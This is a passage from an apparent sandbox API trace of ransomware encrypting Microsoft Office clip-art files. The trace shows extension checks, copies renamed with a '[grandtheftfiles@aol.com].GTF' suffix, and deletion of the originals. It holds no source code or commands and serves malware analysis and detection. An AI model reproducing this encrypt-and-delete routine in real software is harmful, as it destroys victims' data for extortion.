	[0175.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152430.WMF") returned 68
	[0175.764] lstrlenW (lpString=".zip") returned 4
	[0175.764] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0175.764] lstrlenW (lpString=".rar") returned 4
	[0175.764] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0175.764] lstrlenW (lpString=".bz2") returned 4
	[0175.764] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0175.764] lstrlenW (lpString=".7z") returned 3
	[0175.764] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0175.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152430.WMF") returned 68
	[0175.764] lstrlenW (lpString=".dbf") returned 4
	[0175.764] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0175.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152430.WMF") returned 68
	[0175.764] lstrlenW (lpString=".1cd") returned 4
	[0175.764] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0175.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152430.WMF") returned 68
	[0175.764] lstrlenW (lpString=".jpg") returned 4
	[0175.764] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0175.764] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0175.764] lstrlenW (lpString="J0152594.WMF") returned 12
	[0175.764] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152594.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152594.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528
	[0175.765] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x338ff14 | out: lpFileSize=0x338ff14*=6340) returned 1
	[0175.765] CloseHandle (hObject=0x528) returned 1
	[0175.804] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152594.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152594.wmf")) returned 0x220
	[0175.904] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152594.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152594.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0176.141] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152594.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152594.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564
	[0176.142] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.142] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.142] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152594.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152594.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x584
	[0176.143] GetLastError () returned 0x0
	[0176.143] ReadFile (in: hFile=0x564, lpBuffer=0x3dd4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fecc, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesRead=0x338fecc*=0x18c4, lpOverlapped=0x0) returned 1
	[0176.161] WriteFile (in: hFile=0x584, lpBuffer=0x3dd4020*, nNumberOfBytesToWrite=0x18d0, lpNumberOfBytesWritten=0x338fc94, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesWritten=0x338fc94*=0x18d0, lpOverlapped=0x0) returned 1
	[0176.162] ReadFile (in: hFile=0x564, lpBuffer=0x3dd4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fecc, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesRead=0x338fecc*=0x0, lpOverlapped=0x0) returned 1
	[0176.162] WriteFile (in: hFile=0x584, lpBuffer=0x3dd4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x338fc94, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesWritten=0x338fc94*=0xec, lpOverlapped=0x0) returned 1
	[0176.162] SetEndOfFile (hFile=0x584) returned 1
	[0176.177] CloseHandle (hObject=0x584) returned 1
	[0176.184] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.184] SetEndOfFile (hFile=0x564) returned 1
	[0176.195] CloseHandle (hObject=0x564) returned 1
	[0176.195] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152594.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0176.196] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152594.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152594.wmf")) returned 1
	[0176.197] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152594.WMF") returned 68
	[0176.197] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152594.WMF") returned 68
	[0176.197] lstrlenW (lpString=".doc") returned 4
	[0176.197] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0176.197] lstrlenW (lpString=".docx") returned 5
	[0176.197] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0176.197] lstrlenW (lpString=".pdf") returned 4
	[0176.197] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0176.197] lstrlenW (lpString=".xls") returned 4
	[0176.197] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0176.197] lstrlenW (lpString=".xlsx") returned 5
	[0176.197] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0176.197] lstrlenW (lpString=".ppt") returned 4
	[0176.197] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0176.197] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152594.WMF") returned 68
	[0176.197] lstrlenW (lpString=".zip") returned 4
	[0176.197] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0176.197] lstrlenW (lpString=".rar") returned 4
	[0176.197] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0176.197] lstrlenW (lpString=".bz2") returned 4
	[0176.197] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0176.197] lstrlenW (lpString=".7z") returned 3
	[0176.198] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0176.198] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152594.WMF") returned 68
	[0176.198] lstrlenW (lpString=".dbf") returned 4
	[0176.198] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0176.198] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152594.WMF") returned 68
	[0176.198] lstrlenW (lpString=".1cd") returned 4
	[0176.198] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0176.198] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152594.WMF") returned 68
	[0176.198] lstrlenW (lpString=".jpg") returned 4
	[0176.198] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0176.198] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152594.WMF") returned 68
	[0176.198] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152594.WMF") returned 68
	[0176.198] lstrlenW (lpString=".doc") returned 4
	[0176.198] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0176.198] lstrlenW (lpString=".docx") returned 5
	[0176.198] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0176.198] lstrlenW (lpString=".pdf") returned 4
	[0176.198] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0176.198] lstrlenW (lpString=".xls") returned 4
	[0176.198] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0176.198] lstrlenW (lpString=".xlsx") returned 5
	[0176.198] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0176.198] lstrlenW (lpString=".ppt") returned 4
	[0176.198] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0176.198] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152594.WMF") returned 68
	[0176.198] lstrlenW (lpString=".zip") returned 4
	[0176.198] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0176.198] lstrlenW (lpString=".rar") returned 4
	[0176.198] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0176.198] lstrlenW (lpString=".bz2") returned 4
	[0176.198] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0176.198] lstrlenW (lpString=".7z") returned 3
	[0176.198] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0176.198] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152594.WMF") returned 68
	[0176.199] lstrlenW (lpString=".dbf") returned 4
	[0176.199] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0176.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152594.WMF") returned 68
	[0176.199] lstrlenW (lpString=".1cd") returned 4
	[0176.199] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0176.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152594.WMF") returned 68
	[0176.199] lstrlenW (lpString=".jpg") returned 4
	[0176.199] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0176.199] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0176.199] lstrlenW (lpString="J0152608.WMF") returned 12
	[0176.199] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152608.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152608.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564
	[0176.200] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x338ff14 | out: lpFileSize=0x338ff14*=12436) returned 1
	[0176.200] CloseHandle (hObject=0x564) returned 1
	[0176.200] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152608.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152608.wmf")) returned 0x220
	[0176.200] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152608.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152608.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0176.201] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152608.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152608.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564
	[0176.201] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.201] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.201] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152608.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152608.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x428
	[0176.203] GetLastError () returned 0x0
	[0176.203] ReadFile (in: hFile=0x564, lpBuffer=0x3dd4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fecc, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesRead=0x338fecc*=0x3094, lpOverlapped=0x0) returned 1
	[0176.206] WriteFile (in: hFile=0x428, lpBuffer=0x3dd4020*, nNumberOfBytesToWrite=0x30a0, lpNumberOfBytesWritten=0x338fc94, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesWritten=0x338fc94*=0x30a0, lpOverlapped=0x0) returned 1
	[0176.207] ReadFile (in: hFile=0x564, lpBuffer=0x3dd4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fecc, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesRead=0x338fecc*=0x0, lpOverlapped=0x0) returned 1
	[0176.207] WriteFile (in: hFile=0x428, lpBuffer=0x3dd4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x338fc94, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesWritten=0x338fc94*=0xec, lpOverlapped=0x0) returned 1
	[0176.208] SetEndOfFile (hFile=0x428) returned 1
	[0176.208] CloseHandle (hObject=0x428) returned 1
	[0176.208] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.208] SetEndOfFile (hFile=0x564) returned 1
	[0176.211] CloseHandle (hObject=0x564) returned 1
	[0176.211] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152608.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0176.211] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152608.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152608.wmf")) returned 1
	[0176.214] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152608.WMF") returned 68
	[0176.214] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152608.WMF") returned 68
	[0176.214] lstrlenW (lpString=".doc") returned 4
	[0176.214] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0176.214] lstrlenW (lpString=".docx") returned 5
	[0176.214] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0176.214] lstrlenW (lpString=".pdf") returned 4
	[0176.214] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0176.214] lstrlenW (lpString=".xls") returned 4
	[0176.214] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0176.214] lstrlenW (lpString=".xlsx") returned 5
	[0176.214] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0176.214] lstrlenW (lpString=".ppt") returned 4
	[0176.214] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0176.214] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152608.WMF") returned 68
	[0176.214] lstrlenW (lpString=".zip") returned 4
	[0176.214] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0176.214] lstrlenW (lpString=".rar") returned 4
	[0176.214] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0176.214] lstrlenW (lpString=".bz2") returned 4
	[0176.214] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0176.214] lstrlenW (lpString=".7z") returned 3
	[0176.214] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0176.214] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152608.WMF") returned 68
	[0176.214] lstrlenW (lpString=".dbf") returned 4
	[0176.214] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0176.214] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152608.WMF") returned 68
	[0176.214] lstrlenW (lpString=".1cd") returned 4
	[0176.214] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0176.215] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152608.WMF") returned 68
	[0176.215] lstrlenW (lpString=".jpg") returned 4
	[0176.215] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0176.215] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152608.WMF") returned 68
	[0176.215] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152608.WMF") returned 68
	[0176.215] lstrlenW (lpString=".doc") returned 4
	[0176.215] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0176.215] lstrlenW (lpString=".docx") returned 5
	[0176.215] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0176.215] lstrlenW (lpString=".pdf") returned 4
	[0176.215] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0176.215] lstrlenW (lpString=".xls") returned 4
	[0176.215] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0176.215] lstrlenW (lpString=".xlsx") returned 5
	[0176.215] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0176.215] lstrlenW (lpString=".ppt") returned 4
	[0176.215] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0176.215] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152608.WMF") returned 68
	[0176.215] lstrlenW (lpString=".zip") returned 4
	[0176.215] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0176.216] lstrlenW (lpString=".rar") returned 4
	[0176.216] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0176.216] lstrlenW (lpString=".bz2") returned 4
	[0176.216] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0176.216] lstrlenW (lpString=".7z") returned 3
	[0176.216] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0176.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152608.WMF") returned 68
	[0176.216] lstrlenW (lpString=".dbf") returned 4
	[0176.216] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0176.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152608.WMF") returned 68
	[0176.216] lstrlenW (lpString=".1cd") returned 4
	[0176.216] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0176.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152608.WMF") returned 68
	[0176.216] lstrlenW (lpString=".jpg") returned 4
	[0176.216] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0176.216] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0176.216] lstrlenW (lpString="J0152610.WMF") returned 12
	[0176.216] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152610.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152610.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564
	[0176.217] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x338ff14 | out: lpFileSize=0x338ff14*=5960) returned 1
	[0176.218] CloseHandle (hObject=0x564) returned 1
	[0176.218] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152610.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152610.wmf")) returned 0x220
	[0176.218] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152610.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152610.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0176.218] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152610.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152610.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564
	[0176.218] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.218] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.218] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152610.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152610.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c
	[0176.253] GetLastError () returned 0x0
	[0176.253] ReadFile (in: hFile=0x564, lpBuffer=0x3dd4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fecc, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesRead=0x338fecc*=0x1748, lpOverlapped=0x0) returned 1
	[0176.259] WriteFile (in: hFile=0x45c, lpBuffer=0x3dd4020*, nNumberOfBytesToWrite=0x1750, lpNumberOfBytesWritten=0x338fc94, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesWritten=0x338fc94*=0x1750, lpOverlapped=0x0) returned 1
	[0176.260] ReadFile (in: hFile=0x564, lpBuffer=0x3dd4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fecc, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesRead=0x338fecc*=0x0, lpOverlapped=0x0) returned 1
	[0176.260] WriteFile (in: hFile=0x45c, lpBuffer=0x3dd4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x338fc94, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesWritten=0x338fc94*=0xec, lpOverlapped=0x0) returned 1
	[0176.260] SetEndOfFile (hFile=0x45c) returned 1
	[0176.260] CloseHandle (hObject=0x45c) returned 1
	[0176.260] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.260] SetEndOfFile (hFile=0x564) returned 1
	[0176.263] CloseHandle (hObject=0x564) returned 1
	[0176.263] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152610.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0176.318] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152610.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152610.wmf")) returned 1
	[0176.570] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152610.WMF") returned 68
	[0176.570] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152610.WMF") returned 68
	[0176.570] lstrlenW (lpString=".doc") returned 4
	[0176.570] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0176.570] lstrlenW (lpString=".docx") returned 5
	[0176.570] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0176.570] lstrlenW (lpString=".pdf") returned 4
	[0176.570] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0176.570] lstrlenW (lpString=".xls") returned 4
	[0176.570] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0176.570] lstrlenW (lpString=".xlsx") returned 5
	[0176.570] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0176.570] lstrlenW (lpString=".ppt") returned 4
	[0176.570] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0176.570] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152610.WMF") returned 68
	[0176.570] lstrlenW (lpString=".zip") returned 4
	[0176.570] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0176.570] lstrlenW (lpString=".rar") returned 4
	[0176.570] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0176.570] lstrlenW (lpString=".bz2") returned 4
	[0176.570] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0176.570] lstrlenW (lpString=".7z") returned 3
	[0176.570] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0176.570] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152610.WMF") returned 68
	[0176.570] lstrlenW (lpString=".dbf") returned 4
	[0176.570] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0176.570] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152610.WMF") returned 68
	[0176.570] lstrlenW (lpString=".1cd") returned 4
	[0176.570] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0176.570] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152610.WMF") returned 68
	[0176.570] lstrlenW (lpString=".jpg") returned 4
	[0176.570] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0176.571] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152610.WMF") returned 68
	[0176.571] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152610.WMF") returned 68
	[0176.571] lstrlenW (lpString=".doc") returned 4
	[0176.571] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0176.571] lstrlenW (lpString=".docx") returned 5
	[0176.571] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0176.571] lstrlenW (lpString=".pdf") returned 4
	[0176.571] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0176.571] lstrlenW (lpString=".xls") returned 4
	[0176.571] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0176.571] lstrlenW (lpString=".xlsx") returned 5
	[0176.571] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0176.571] lstrlenW (lpString=".ppt") returned 4
	[0176.571] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
